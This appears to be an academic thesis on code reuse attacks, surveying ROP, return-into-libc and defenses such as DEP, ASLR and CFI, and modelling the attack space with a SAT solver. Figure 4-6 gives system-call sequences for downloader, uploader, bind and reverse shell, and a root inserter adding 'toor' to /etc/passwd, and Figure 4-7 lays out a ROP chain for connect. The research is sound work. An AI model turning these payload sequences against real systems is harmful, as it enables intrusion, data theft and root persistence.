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Abstract
In this thesis, we developed a systematic model of the code reuse attack space where facts
about attacks and defenses were represented as propositional statements in boolean logic
and the possibility of deploying malware was a satisfiability instance. We use the model
to analyze the space in two ways: we analyze the defense configurations of a real-world
system and we reason about hypothetical defense bypasses. We construct attacks based on
the hypothetical defense bypasses. Next, we investigate the control flow graphs enforced
by proposed control flow integrity (CFI) systems. We model the behavior of these systems
using a graph search. We also develop several code reuse payloads that work within the
control flow graph enforced by one proposed CFI defense. Our findings illustrate that the
defenses we investigated are not effective in preventing real world attacks.
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Chapter 1
Introduction
Buffer overflows and other memory vulnerabilities have been exploited by attackers for
more than two decades [22]. At first, these attacks worked by injecting new code (called
shellcode because it commonly spawned an attacker-controled shell on the victim's ma-
chine) into memory and then overwriting control flow data (a return address or function
pointer) to jump to the new code [29]. In response to these attacks, compilers and oper-
ating systems implemented defenses such as WEX memory [33] [42] to prevent attackers
from running new code; shellcode detection, to monitor inputs for potential shellcodes [31];
and code signing, which ensures that all the code executed has been verified [11] [10].
As a response to defenses designed to prevent code injection attacks, the attacker com-
munity developed code reuse attacks [8] [27], which, instead of injecting new code, reuse
code that is already in the process memory. These attacks evade defenses that prevent code
injection by preventing attackers from executing new, malicious code because they use
code that is already present in malicious ways.
The evolution of the code reuse attack and defense space has resembled an arms race,
with new attacks circumventing defenses either by undermining their core assumptions
(e.g. jump-oriented programming [6] vs. returnless kernels [26]) or by exploiting imper-
fect implementation and deployment (e.g. surgical strikes on randomization [32] vs. ASLR
[39]). Defensive techniques have evolved in lockstep, attempting to more comprehensively
deny attackers key capabilities. For example, G-Free's [28] gadget-elimination techniques
target classes of free branch instructions rather than focusing on ret statements. While
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substantial research has been conducted in this space, it is difficult to determine how these
defenses, based on different threat models, compose with one another to protect systems,
and howl various classes of attack fare against both individual and composed defenses.
Techniques targeting ROP attacks may eliminate gadgets while doing little against return-
into-libc (RiL) code reuse attacks, for example. In general, specific defenses can only
target specific attacker capabilities. In addition to evaluating whether a particular defense
successfully eliminates the attacker capabilities it targets, it is also necessary to evaluate
whether eliminating those capabilities is sufficient for preventing the attacker from achiev-
ing malicious behavior.
With this higher-level evaluation in mind, in this thesis we perform a systematic analysis
and categorization of attacks and defenses using a formal model of the software security
space. Specifically, we represent the attackers' overall goals of deploying malware as a
satisfiability instance, where vulnerabilites and other attacker capabilities are represented as
literals, specific attacks are compound formulas of those literals and defenses are additional
dependencies on the capabilities and attacks. We use the model to identify gaps in the
current set of defenses and evaluate the effectiveness of proposed defense techniques and
develop two attacks which bypass existing defenses. The first of these attacks is pure ROP,
which illustrates that ROP attacks can be used to cause a broad range of malicious behavior.
The second attack is return-to-libn which broadens attacks that, previously, required access
to libc to more libraries.
Next, we investigate the claim that defenses that enforce control flow integrity (CFI)
provide a complete defense against code reuse attacks [9]. These defenses work by lim-
iting the program control flow to a statically determined graph consisting only of control
transfers that might happen during normal program execution. We use a graph to model
the set of possible behaviors of programs protected by CFI defenses. We then show that it
is possible to construct code reuse attacks that achieve malicious behavior using only con-
trol transfers allowed by the existing control flow integrity enforcement systems [47] by
building several code reuse payloads for Lynx, a simple web browser, (a call to s y st em, a
downloader, an uploader, and a root inserter) which work in the presence of CFI systems.
The main contributions of this thesis are the following:
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" We develop a systematic model to analyze the code reuse attack and defense space.
" Based on the data from the model, we build attacks which bypass existing code reuse
defenses.
" We investigate and model the control flow graphs enforced by CFI defenses.
" We build code reuse attacks that work within these control flow graphs.
The rest of the thesis is structured as follows: Chapter 2 provides background and a
history of code reuse attacks; Chapter 3 describes the defenses that have been proposed
and implemented to protect against code reuse attacks; Chapter 4 describes our systematic
model, its applications and several results; Chapter 5 discusses control flow enforcement
systems and describes a system for searching the space of control transfers allowed by those
systems; Chapter 6 describes actual attacks that work around control flow enforcement
systems; Chapter 7 concludes.
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Chapter 2
Code Reuse Attack Background
Buffer Overflows A buffer overflow vulnerability is a programming bug that allows an
attacker to construct an input to a program that writes past the end of the buffer allocated
for the input and overwrites other data stored on the stack. Since control flow data such
as function pointers and return addresses are stored on the stack, the attacker can exploit
the buffer overflow overwrite these values and redirect the program control flow. Similar
attacks apply to heap-allocated spaces and control data stored on the heap. These vul-
nerabilities were originally used by attackers [29] to inject malicious code onto the stack
and run it. Defenses were introduced to prevent attackers from injecting and running ma-
licious code by preventing data execution (enforcing the property that memory pages are
never both writable and executable or WEX memory) [30] or monitoring inputs to look for
potential malicious payloads [31].
Code Reuse Attacks Code reuse attacks were created as a response to protection mech-
anisms that prevent code injection. As in code injection attacks, code reuse attacks begin
when an attacker overflows a buffer on the stack or heap and overwrites program control
data to redirect the program control flow. However, unlike code injection attacks, which
redirect the control flow to new code written into memory by the attacker, code reuse at-
tacks redirect the control flow to sections of existing executable code from the program
space. Advanced techniques allow attackers to reuse (or chain together) multiple sections
[27] [34] of code to create complex payloads. Code-reuse attacks are categorized based
15
on the granularity of the sections of reused code (called gadgets). The most commonly
discussed types of code reuse attacks are return-into-libc attacks and return-oriented pro-
gramming (ROP) attacks.
Return-into-Libc In return-into-libc attacks [27], the gadgets are entire functions. An
attacker with control of the stack can call a sequence of functions with arguments of their
choosing. Usually these functions are system functions from the system libraries (libc) such
as exec, but they can be any complete function from the program space. Because nearly
every program written in C links to libc, which implements a significant amount of system
functionality including accessing the network, accessing the filesystem, and providing a
wrapper to the system call interface, attackers can implement many payloads using only
functions from libc that are portable across different vulnerable programs. In fact, it has
been shown to be possible to achieve Turing complete behavior with only function calls
from libc [40].
Return Oriented Programming In ROP attacks [34], a gadget is a series of machine
instructions terminating in a ret or a ret-like sequence, such as pop x followed by
jmp *x [9]. The ret instructions are used to transfer control from one gadget to the next
to allow attackers to construct complex attacks from the existing code (see Figure 2-1).
On processors that use variable length instructions, ROP gadgets can come from "un-
intended instructions" caused by transfering control into the middle of an instruction [34].
The x86 instruction set, in particular, is very dense. As a result, a random byte stream has a
high probability of containing a valid sequence of x86 instructions. Gadgets resulting from
unintended instructions still need to end in a ret to allow transfering control from one
gadget to the next. In x86, ret is represented by a single byte: C3. As a result, ret s (and
by extension, gadgets) are common enough to allow attackers to use them to build useful
malware.
It has been shown to be possible to create complete malware payloads using only code
reuse attacks [34], even when a very limited amount of code is available for the attacker to
reuse [19]. However, real attacks often use limited ROP techniques to perform very specific
16
XOR EAX, EBX Gadget IJ-- RET
Address of Gn ADD EBX, EDXGadget2
Address of G1
Address of G2
Address of G1 DIV EDX, Ox2
ADD EDX, OxO1 Gadget n
RET
Stack
Figure 2-1: Program stack with a ROP payload, which executes xor %eax, %ebx; add
%ebx, %edx;xor %eax, %ebx;...
operations, such as disabling WEDX, to allow a more general subsequent attack. This may
be as simple as calling a single function [14] or leaking a single memory address [32].
After WEX is disabled, an injected payload is executed.
Memory Disclosure and Breaking Randomization Systems Many defenses have been
proposed which randomize the layout of the process address space in order to prevent
attackers from predicting the locations of functions and gadgets [18] [23] [33] [39] [44]
[45]. However, techniques exist which allow attackers to learn enough information about
the address space to construct effective code reuse payloads. The randomization systems
that are currently deployed randomize the base addresses of executables and linked libraries
[30] [33]. The addresses of code within the program and linked libraries relative to the base
address are fixed for all instances of the program or library. Shacham, et. al. [35] show
that it is relatively easy for an attacker to use brute force attacks to guess the address of one
function (they use the sleep function as an example) and then use that address to calculate
the base address for the library and, consequently, the addresses of the rest of the code
in the library. When the actual program has not been compiled as position independent
code, attackers can use the procedure linkage table (PLT), which will be located at a fixed
17
address, to return into the beginnings of functions, as shown by Nergal [27].
Even when more fine grained randomization is in place, a class of vulnerabilities known
as memory disclosure vulnerabilities allow attackers to read values from memory [38]
which can then be used to build payloads. Snow, et. al [37] demonstrate a technique
for constructing ROP payloads in randomized system that takes advantage of a memory
disclosure vulnerability which allows them to read code pages from the program space.
Their tool follows pointers found in the code to find the locations of other code pages and
scans the code to find gadgets and compile payloads.
18
Chapter 3
Existing Defenses
Many defenses have been propsed to prevent code reuse attacks. These defenses, described
in detail below, can be divided into several, high-level categories: buffer overflow preven-
tion, data execution prevention, address space randomization, code rewriting, control flow
protection and unused code removal. The defenses have varying performance and imple-
mentation tradeoffs, which are included in the descriptions. Some of these systems have
been widely deployed and others are still proofs of concepts.
Buffer Overflow Prevention The full extent of buffer overflow defenses is outside the
scope of this paper, but we will list protections that are included in Microsoft Visual Studio
and GCC. Propolice [15] is an extension for the GCC compiler that provides stack canaries
and protection for saved registers and function arguments. Microsoft Visual Studio also
provides buffer overflow protection with the /GS flag [7]. When /GS is enabled, it generates
security cookies on the stack to protect return addresses, exception handlers and function
parameters.
Data Execution Prevention To prevent code injection attacks, Windows [33] and Linux
[42] have both integrated data execution prevention (DEP) to ensure that data pages are
marked non-executable and programs will fault if they attempt to execute data. These sys-
tems do not protect against code-reuse attacks where attackers build malware out of pro-
gram code rather than through code injection. DEP is incompatible with some applications,
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such as Just-In-Time (JIT) compilers. It is also possible to disable it.
Address Space Randomization Many systems have been proposed that use random-
ization (of either the code or the address space) to reduce the amount of knowledge that
attackers have about running programs. Depending on what is randomized, these systems
reduce the attacker's knowledge about the program in different ways. Randomization sys-
tems are usually run in conjunction with data execution prevention. The Windows kernel
[33] includes an implementation of ASLR that randomizes the locations of the base ad-
dresses of each section of the executable at load time. PAX ASLR [39] is a kernel module
for GNU/Linux that randomizes the locations of the base addresses of executables and li-
braries. Binary Stirring [44] is a binary rewriter and modified loader that randomizes the
locations of functional blocks within the program space. Dynamic Offset Randomization
[45] randomizes the locations of functions within shared libraries. It also only maps the
addresses of functions that will be used by the program. Instruction Layout Randomization
(ILR) [18] uses an emulation layer to randomize the addresses of most instructions within
an executable. The emulation layer translates each address at runtime. ASLP [23] rewrites
ELF binaries to randomize the base address of shared libraries, executable, stack and heap.
Code Rewriting and Gadget Removal Other defenses use compiler tools and binary
rewriting to create binaries that are difficult to exploit with ROP attacks by preventing
the program from jumping into the middle of functions or instructions and by removing the
ret instructions used to chain gadgets together. G-Free [28] is a compiler tool with several
protections aimed at preventing ROP attacks. It uses encrypted return addresses to prevent
attackers from overwriting control flow data. It also inserts NOPs before instructions that
contain bytes that could be interpreted as ret to create alignment sleds that prevent attack-
ers from using unaligned instructions as ROP gadgets. Li et. al. [26] rewrite kernel binaries
to minimize the number of ret instructions and prevent ROP attacks targeting the kernel.
Control Flow Enforcement Control flow enforcement systems prevent attackers from
redirecting the program execution by protecting the return addresses and other control flow
data from malicious modifications and ensuring that indirect branches only target valid
20
locations. These systems work in conjunction with WeX enforcement, because otherwise
attackers could overwrite the code at the valid addresses.
PointGuard [12] protects pointer data in Windows programs by encrypting pointers
stored in memory and only decrypting them when they are loaded into registers.
Transparent runtime shadow stack (TRUSS) [36] uses binary instrumentation to main-
tain a shadow stack of return addresses and verifies each return with the shadow stack.
The instrumentation and checks implemented by TRUSS impose average overheads on the
order of 25-50% depending on the operating system and configuration.
Control flow enforcement systems [2] [47] analyze binaries to build an expected control
flow graph (CFG) and then add instrumentation to check that the program execution does
not deviate from the intended CFG.
Practical Control Flow Integrity and Randomization for Binary Executables [47] is a
binary rewriting system that protects indirect calls and return statements. It creates new
sections (called springboards) in Windows Portable Executable (PE) files for calls and re-
turns. All indirect transfers are redirected through tables of the valid targets.
Control Flow Integrity [2] is a binary rewriting system that protects indirect control
transfers (calls, returns and indirect jumps) by tagging control transfers and valid destina-
tions with 32-bit identifier strings. A control transfer can only jump to an address if the tag
at the destination matches the tag at the control transfer. Each control transfer may have
many potential targets, which will all have identical tags. Any transfers that target the same
address will also have identical tags.
Branch Regulation [21] prevents jumps across function boundaries except for jumps to
the beginning of functions to prevent attackers from modifying the addresses of indirect
jumps. It also duplicates the call stack and checks every return to prevent attackers from
modifying return addresses.
Remove Unused Code From Linked Libraries The library randomization technique
described by Xu and Chapin [45] also ensures that only functions that have entries in the
global offset table are available in the program space. This means that the functions avail-
able to return-into-libc attacks are limited to the ones actually used in the program.
21
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Chapter 4
Systematic Analysis
The lack of a unifying threat model among code reuse defense papers makes it difficult to
evaluate the effectiveness of defenses. The models chosen frequently overlap, but differ
enough that defenses are difficult to compare. New defenses are created to respond to spe-
cific new attacks without considering the complete space of existing attacks and defenses.
While useful for mitigating specific threats (such as ROP gadgets in binaries), it is not clear
how these point defenses compose to provide a comprehensive defense.
This lack of standardized threat models and the lack of formalization of the problem
domain has made it difficult to answer critical questions about the interoperability and
efficacy of existing defensive techniques. Specifically, it is difficult to reason about how
multiple defenses compose with one another when deployed on the same system and how
useful any defensive technique is. Frequently, for example, a defense (e.g. a form of
gadget elimination) eliminates some avenues of attack, but does not address others (e.g.
retum-into-libc). Can another system be deployed to stop these? Which one? What is
the smallest set of such defenses which should be deployed to protect against every known
avenue of code reuse? Furthermore, how do these defenses change when specific scenarios
render defense prerequisites (e.g. virtualization, recompilation, or access to source code)
unavailable?
To answer these, and other questions about the code reuse attack space, in this chapter
we develop a formal model, based on satisfiablity to represent the relationship between
attacker capabilities and requirements and the defenses that try to stop them. We use the
23
model to evaluate the effectiveness of real and proposed defenses.
4.1 Attack Space Model
Our model of the code reuse attack space uses propositional logic formulas to encode
known avenues of attack as dependencies on statements about a process image, and de-
fenses as negative implications for these statements. We use both academic literature and
the exploit development community as a corpus from which to draw attacks and defenses.
SAT-solvers (or SMT-solvers to generate minimal solutions) can be used to automate the
search for attacks in an environment where certain defenses are deployed and certain vul-
nerabilities are accessible to attackers.
The model consists of a static context of attacker dependencies, possible defenses and
the requirements for implementing those defenses. The inputs to the model are scenario
constraints which specify system-specific facts including the set of defenses that are imple-
mented, as well as system-specific constraints that affect both attacks and defenses. The
system-specific constraints include the use of Just-In-Time compilers, which preclude the
use of DEP, access to the program's source code for both the attacker and the defender and
the ability for an attacker to make repeated attacks on the same system. The model output
is either a list of attacker capabilities that could be used to deploy malware or a statement
of security that no malware can deployed using known attack techniques within the context
of the attack space.
The evaluation is conducted by initializing the value of the variable corresponding to
successful malware deployment to be true along with the other values corresponding to at-
tacks and defenses as discussed above. If the model is satisfiable, then a satisfying instance
corresponds to a specific potential attack.
It is also necessary to encode system-specific constraints which limit the set of de-
ployable defenses. For example, it is not possible to deploy DEP on a system that re-
lies on Just-In-Time compilers because executable code is generated and written at run-
time. To account for this, each defense is represented by two variables. The first variable,
defense-implemented, represents whether the defense is available on a particular
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system and is initialized before the model is run. The second variable, defense_deployed,
represents whether or not it is actually possible to deploy the defense, given the con-
straints on the entire system. The defense-deployed variable is true if and only if
the de f ens ejimplement e d variable is true and all of the defense constraints are true.
This allows for the analysis of concrete, real-world scenarios in which machine role or
workload limit the possible defenses which can be deployed. It also enables us to highlight
system constraints that make it difficult to secure a system. For example, systems that rely
on proprietary binaries or legacy code cannot take advantage of compiler-based tools and
systems using Just-In-Time compilers cannot use DEP.
4.1.1 Model Definition and Scope
An attack space model is an instance of propositional satisfiability (PSAT) # such that:
" Atoms{q} consists of statements about the process image
" The literal m C Atoms{q} is true if and only if a malware payload can be deployed
in the process image
* There is some valuation y - # if and only if 1am = T
* q is a compound formula consisting of the intersection of three kinds of sub-formula:
1. A dependency ai -> x establishes the dependency of a the literal ai C Atoms{$},
a statement about the process image, on the sub-formula x, which may itself
be a dependency
2. A defense point ai - deployed -- ,a establishes that if the literal aj, repre-
senting the deployment of a specific defense in the process image, is true, then
the vulnerability-related statement a3 is necessarily false. That is, ai protects
against attacks relying on a3 .
3. A scenario constraint ai = T or ai =_L fixes the valuation of the literal aj,
representing a non-negotiable fact about the process image.
The model is implemented using the Z3 [13] SMT solver. The complete model is
approximately 200 lines of code, and can easily be updated as new attacks and defenses
evolve. Note that while satisfiability checking is NP-Complete in the general case, mod-
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ern SAT solvers can employ a variety of heuristics and optimization to rapidly solve SAT
instances up to millions of variables and clauses [20]. In this paper, we focus on investi-
gating scenario-specific questions and on possible defense bypasses, but other approaches
using this model could also provide valuable insights. It is possible, for example, to rank
the importance of attacker dependencies (that is, some set of literals) by quantifying the
number of paths to malware deployment which rely on those literals, via analysis of the
DAG-representation of 0.
As a concrete example of how our model can be used, consider the G-Free [28] de-
fense, which targets several key capabilities necessary for ROP attacks. ROP gadgets are
machine code segments ending in free-branch instructions, a class of instruction which
allows indirect jumps with respect to the instruction pointer. By controlling the memory
elements used in this indirection, gadgets can be chained together into larger ROP pro-
grams. G-Free removes free-branch instructions and prevents mid-instruction jumps using
semantics-preserving code transformations at the function level.
A portion of the attack space dealing with ROP attacks is shown in Figure 4-1 as propo-
sitional statements formalizing the dependencies between attacker capabilities. This por-
tion of the space describes the different ways attackers can locate and chain together ROP
gadgets. Each atom corresponds to a specific capability, from the list of attacker capabilities
described in section 4.2.
G-Free's effect on this space is formalized as (gf ree-deployed -9 -,(f ree-branch V
midfunction-jmp). The atoms f ree.branch and midfunction-jmp represent free branch
instructions and mid-function jumps, respectively. If G-Free valuates True (deployed),
these atoms will now valuate False (unavailable to an attacker). The question, then, is
whether an attack can still succeed.
Figure 4-2 provides an example of how our analysis proceeds. Note that this is not how
the solver operates, but is a high-level, human-readable view of the relationship between
attacks and defenses. The model is represented as a propositional directed acyclic graph
(PDAG) [43], where the ability to produce malware is a function of the attacker prerequi-
sites and the deployed defenses. The symbols in the diagram represent the following parts
of the model:
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syscall-gadgets - (rop A (syscall-bin V syscall-lib)) A
rop -+ (gadgets-exist A gadget semantics-known A gadget-loc) A
gadgets-exist -> (free-branch A midfunction-jmp) A
free.branch -+ (ret V ulbinsn V dispat chergadget) A
di spat cher-gadget -* (gadgets-exist A g.semantics-known)
Figure 4-1: A portion of the ROP attack space
0 Q corresponds to the literals from the model which will be initialized to true or
false depending on the actual configuration. These literals represent the presence of
prerequisites for an attack (vulnerabilities) or defenses that can be enabled.
V y corresponds to logical OR
A corresponds to logical AND
o o corresponds to logical NOT. When defenses are included in the model, the attack
assumptions they prevent depend on the defense not being enabled.
The edges in the graph indicate a "depends on" relationship. For example, disabling
DEP depends on the existence of retum-into-libc or ROP.
Figure 4-2 depicts one component of the larger model (including the attack space por-
tion described in Figure 4-1), illustrating G-Free [28] and its relationship to ROP. The
shaded components highlight the effect that implementing G-Free has on the rest of the
space: ROP attacks are disabled due to key pre-requisites being rendered unavailable, but
retum-into-libc attacks are still possible.
All of our model's static context (the attacks, defenses, and other constraints) are drawn
from current academic literature, documentation from popular commercial and open source
systems, and documented attacks. The attacks are discussed below, in 4.2. The defenses
and their constraints are discussed in chapter 3. The information about defenses in the
model is included with the assumption that the defenses are implemented as described in
their specifications. Testing the implementations of each defense was beyond the scope of
this project. However, a model of a particular system will highlight which defense features
are most important, and where efforts to test defense implementations should be focused.
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Figure 4-3 shows a PDAG with the all of the attacks and defenses included in the model.
Due to space considerations, constraints on the defenses are not included.
4.2 Attacker Assumptions
In this section we discuss the assumptions and vulnerabilities that attackers use when build-
ing malware. We discuss common vulnerabilities and knowledge that may be available in
a running system, the causes of those vulnerabilities and the methods used to turn those
vulnerabilities into malware. Each of these vulnerabilities alone does not necessarily allow
an attacker to execute malware, but attackers can combine them to construct a complete
attack.
Ablility to Overwrite Memory All the attacks discussed in this paper rely on the at-
tacker's ability to overwrite memory on the stack or heap. In C, the default memory copy-
ing functions do not check that the source buffers fit into the destination buffers. When
the source buffer is larger than the destination buffer, the excess data is copied anyway,
overwriting memory adjacent to the destination. This means that when programmers read
user-supplied data or strings into buffers without checking that the data fits into the memory
allocated, attackers can supply carefully crafted inputs that overwrite important data [29].
Since control flow data like function pointers and return addresses are stored on the stack
with the rest of the program data, an attacker with the ability to overwrite memory can also
gain the ability to control the program flow.
Ability to Read Process Memory Buffer overread vulnerabilities and format string vul-
nerabilities [38] allow attackers to read values from memory. Attackers can use these vul-
nerabilites to find randomized addresses [37] and read stack cookies, encryption keys and
other randomized data that is incorporated into defense systems.
Knowledge of Address Space Layout Attackers can predict the address space layout of
broadly distributed applications when operating systems load identical binaries at the same
addresses every time. Attackers can use this knowledge to jump to the correct address of
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injected code [29] and to find addresses of the functions and gadgets used as part of code
reuse attacks [34].
Partial Knowledge of Address Space Attackers can also take advantage of an incom-
plete knowledge of the address space. For example, knowledge of relative addresses within
sections of the executable can be used in combination with the ability to learn a selected
address to calculate the complete address space [35]. Furthermore, attackers that know the
contents of the Global Offset Table (GOT) or locations of a subset of the function headers
can develop a code reuse attack that chains together entire functions.
Knowledge of Instruction Set Syntax Some ROP gadgets are a result of "unintended
instructions" [34] [19] found by jumping into the middle of an instruction and executing
from there. Identifying these unintended instructions requires knowledge of the opcodes
used for each instruction. In order to predict the instruction set syntax, attackers need to
know which processor the target machine is using.
Knowledge of Gadget Semantics When ROP gadgets are smaller than complete func-
tions, their semantics can depend on the exact instructions and ordering from the exe-
cutable. This means that the gadgets available can vary for programs that are semantically
equivalent when run as intended. Finding these smaller gadgets requires knowledge of the
assembly code for the target binary.
Ability to Make Multiple Probes Some programs allow attackers to send multiple in-
puts interactively, depending on the response. This allows them to develop multi-stage
attacks that take advantage of memory secrecy violations to learn more information about
the address space [38] [37] or launch brute force attacks against randomization systems
[35]. servers
Execute Stack or Heap Data When the pages of memory on the stack or heap are
marked executable, attackers can inject code directly into memory and run it. This makes
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it easy for attackers to run arbitrary code and to reuse the same attacks on different ap-
plications. To take advantage of executable data, attackers need to be able to write their
malicious code at a known address and then redirect the control flow to that address [29].
Redirect Control Flow All the attacks we examine require diverting the control flow of
the vulnerable application to an arbitrary address at least once. This is accomplished by
using a buffer overflow to overwrite a return address or function pointer on the stack or
heap. When the function returns or the function pointer is called, the program jumps to the
address specified by the attacker. In the case of a code injection attack, the program jumps
to the address of the code that the attacker just injected [29]. In the case of a code reuse
attack, the program jumps to an address within the executable or linked libraries.
ROP attacks rely on more detailed assumptions about the attackers' ability to redirect
the control flow; for example, jumping to gadgets that start in the middle of functions or
even in the middle of instructions [19] [34]. ROP attacks also use ret instructions or other
control flow transfers to chain gadgets together and build complex attacks [9].
Large Codebase Linked C programs all link to a version of the C standard library (libc),
which provides an API for programmers to access system functions like printing to the
screen and allocating memory. Libc also provides many functions that can be useful to
attackers, like exec, which runs any program and system, which runs shell commands.
Any program that links to libc will have all of the functions in the library mapped in its
address space. Return-into-libc attacks take advantage of the fact that these functions are
available in the program space by redirecting the program control flow and calling them.
4.3 Defensive Scenario Analysis
To demonstrate using our model to analyze defense configurations, we look at two appli-
cations, a closed-source web server for example, Oracle, and an open-source document
viewer, running on a server running Ubuntu Server 12.10 with standard security features
[4]. The defenses enabled by Ubuntu that apply to our code reuse model are ASLR, WEIX
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memory and system call filtering. We initialize the model with the defenses that are pos-
sible with each application and run the SAT-solver to see which (if any) attacks are still
possible.
Web Server The first application, the web server has the following system constraints:
" The source code is not available.
" The sever needs to make dangerous system calls to access the network, open files
and run scripts.
" The server will respond to multiple requests.
Based on these constraints, the model shows that it is not possible to deploy the system
call filtering defense, because system call filtering prevents programs from making system
calls that are not normally used. It also requires recompiling the program. The model also
shows that attacks relying on making multiple probes such as brute force attacks and attacks
exploiting memory vulnerabilities will be possible, because of the fact that the server will
respond to repeated requests from the attacker.
With these initial conditions, running the SAT-solver shows that the possibility of brute-
force attacks to break ASLR means that using return-into-libc and ROP are both possible,
while the WeX memory prevents code injection attacks.
Document Viewer The second application, the document viewer has fewer system con-
straints than the web server so it is compatible with a larger set of defenses. Since the
source code is available and it does not require access to dangerous system calls, it can be
built with syscall filtering. Like the web server, ASLR and non-executable data will be en-
abled. In the case of the document viewer, the syscall filtering prevents both return-to-libc
and ROP attacks and the nonexecutable data prevents code injection attacks. Given the set
of atttacker requirements included in the model, it is not possible to deploy malware using
known attack techniques targeting the document viewer.
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4.4 Defense Bypasses
In this section, we demonstrate how our model can be used to identify possible attack ex-
tensions which, should they exist, enable the complete bypassing of a defense (as opposed
to an attack which breaks the defense directly and invalidates its security guarantees). Not
all of these bypasses need to be entirely novel, in the sense that they have never been pro-
posed before. Rather, they are intended to highlight the weakness of even the strongest
incarnation of a defense: with a small number of added capabilities, an attacker can use
an incrementally more powerful attack to render useless a strong defense. All of our re-
sults are currently restricted to Linux environments. As future work, we intend to construct
similar bypasses for the Windows platform.
4.4.1 Pure ROP Payloads
In the wild, malware normally uses ROP to disable DEP and then injects code normally
[14], despite the fact that academic literature has posited that ROP is sufficient to write full
payloads [34]. A recent Adobe Reader exploit based purely on ROP attacks supports this
notion [5]. Should this be the case, code injection is unnecessary for real malware.
The relevant model section is shown in Figure 4-4. Note that if we set the constraint
that depbroken=False, the SAT solver will be unable to find any instance in which
malware can be deployed despite ROP being available. Specifically, in this version of the
model, code injection is a prerequisite for malware, but unbreakable DEP renders code
injection impossible.
This model configuration is consistent with real-world malware, but not the academic
community's view of ROP. Hypothetically, there is some path (illustrated as the dotted line
in Figure 4-4) which allows ROP alone to enable malware deployment.
This is indeed the case, as we prove below. The model can be updated with a path to
malware deployment from ROP which requires one added capability: the presence of a
system call gadget in the process address space. This is shown in Figure 4-5, along with a
now satisfying instance of the model in which malware is enabled alongside unbreakable
DEP.
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Figure 4-4: ROP as an enabler of code injection
Figure 4-5: ROP as a malware deployment technique
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The proof by construction considers a successful malware deployment to consist of any
one of the following payloads:
" Downloader: A program which connects to a remote host, downloads arbitrary con-
tent, saves it to disk, and executes it
" Uploader: A program which exfiltrates files from the host to a remote location
" Backdoor: A program which creates a shell accessible from an external host and
awaits a connection.
" Reverse Backdoor: A program which creates a connection to an external host and
binds a shell to that connection.
" Root Inserter: Adds a new root user to the system
We implement every payload using purely ROP. We begin by reducing each payload to
a simple linear sequence of system calls, shown in Figure 4-6. We do not need looping
constructs, although Turing completeness is available to more advanced payloads [34].
The phantom stack referenced in the figure is explained below. In essence, it provides the
memory management required to enable reusable system call chains.
The challenge, then, is to translate each sequence of system calls to a ROP program.
We extract a catalog of ROP gadgets from GNU libc version 2.13 using the established
Galileo algorithm [34], and craft each payload using these gadgets.
Due to the level of system call reuse across these payloads, we construct each system
call gadget to be modular and easily chained. For calls like socket, translation to ROP
code is straightforward: arguments are immediate values that can be written to the stack
during the payload injection phase, registers can be loaded via common pop reg; ret
sequences, then the call can be invoked.
Unfortunately, things are harder in the general case. Setting arguments for an arbitrary
chain of system calls introduces two challenges: dynamically generated values (like file
descriptors) must be tracked across system calls, and some arguments (e.g. pointers to
struct pointers) must be passed via multiple levels of indirection. These challenges are
further complicated by two restrictions imposed by ROP: the stack cannot be pushed to in
an uncontrolled way (since that is where the payload resides), and register access may be
constrained by the available gadgets in the catalog.
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Uploader
sbrk (0);
sbrk(phantom stacksize);
fd = socket(2, 1, 0);
connect(fd, &addr, OxiG);
fd2 = open("target-file", 0);
sendfile(fd, fd2, 0, file_size);
Root Inserter
sbrk(0);
sbrk(phantomstacksize);
setuid(0);
fd = open("/etc/passwd", 002001);
write(fd, "toor:x:0:0::/:/bin/bash\n", 24);
Downloader
sbrk(0);
sbrk(phantomstacksize);
fd = socket(2, 1, 0);
connect(fd, &addr, Ox10);
read(fd, buf, bufjlen);
fd2 = open("badfile", 0101, 00777);
write(fd2, buf, buf_len);
execve ("badfile", ["badfile"], 0);
Backdoor
sbrk (0);
sbrk(phantomstacksize);
fd = socket(2, 1, 0);
bind(fd, fd, &addr, OxiG);
listen(fd, 1);
fd2 = accept(fd, &addr, OxiG);
dup2(fd2, 0);
dup2(fd2, 1);
dup2(fd2, 2);
execve("/bin/sh", ["/bin/sh"], 0);
Reverse Backdoor
sbrk(0);
sbrk(phantomstacksize);
fd = socket(2, 1, 0);
connect(fd, &addr, OxiG);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve ("/bin/sh", ["/bin/sh"], 0);
Figure 4-6: System-call-based implementations of backdoor and reverse backdoor
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As an example of the above challenges, consider the connect system call, which is
critical for any network [/0. Like all socket setup functions in Linux, it is invoked via the
socket call interface: eax is set to 0x66 (the system call number), ebx is set to 0x3
(connect), and ecx is set as a pointer to the arguments to connect.
These arguments include both dynamic data (a file descriptor) and double indirection
(a pointer to data that has a pointer to a struct). Since the stack cannot be pushed to
and dynamic data cannot be included at injection time, these arguments have to be written
elsewhere in memory. Since register-register operations are limited (especially just prior
to the call, when eax and ebx are off-limits), the above memory setup has to be done
with only a few registers. Finally, since this is just one system call in a chain of such calls,
memory addresses should be tracked for future reuse.
We resolve these issues by implementing a 'phantom' stack on the heap. The phantom
stack is simply memory allocated by the attacker via the sbrk system call, which gets or
sets the current program break. Note that this is not a stack pivot: the original program
stack is still pointed to by e sp. This is a secondary stack, used by the attacker to manage
payload data. A related construction was used by Checkoway, et. al [9] for creating ROP
payloads on the ARM platform.
Creating the phantom stack does not require any prior control over the heap, and goes
through legitimate kernel interfaces to allocate the desired memory. Pushes and pops to this
stack reduce to arithmetic gadgets over a phantom stack pointer register. For our gadget
catalog, eax was best suited to the purpose. A degree of software engineering is required
to ensure correct phantom stack allocation and management.
A complete ROP gadget to connect to localhost on port 43690 is presented in Fig-
ure 4-7. The phantom stack must already be allocated, and the active file descriptor is
assumed to be pushed onto it. The gadget can be divided into three functional components,
as indicated by the lines drawn across the stack diagram.
From the bottom, the first component prepares the arguments to c onne ct ( f d, & addr,
0x10 ) on the phantom stack and puts a pointer to these arguments in ecx. The second
component saves the phantom stack pointer into edx, loads eax and ebx with the nec-
essary system call and socketcall identifiers, and invokes the system call interrupt. The
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pop edx
mov eaxax
OxFF
OxFF
OxFF mov eax,edx
OxFF
int Wx8
--- -- - p ebp
- - pop edi
0x66 pop esi
Ox3 pop ebx
0- 
0x04
OxlO
OxAAAA0002
0x04
OxO100007f
- movebx,edx
- xchg ebx,ecx
-- xchg eax,edx
Smov [eax], ecx
pop ecx
pop edx
Figure 4-7: ROP gadget for connect (f d, &addr, OxiG)
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0-
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0---
OxlO
0
pop reg instructions following the interrupt are unavoidable, as this is the smallest sys-
tem call gadget we could find. To prevent control flow disruptions, we pad the stack with
junk values to be loaded into the popped registers. The third component is similar to tra-
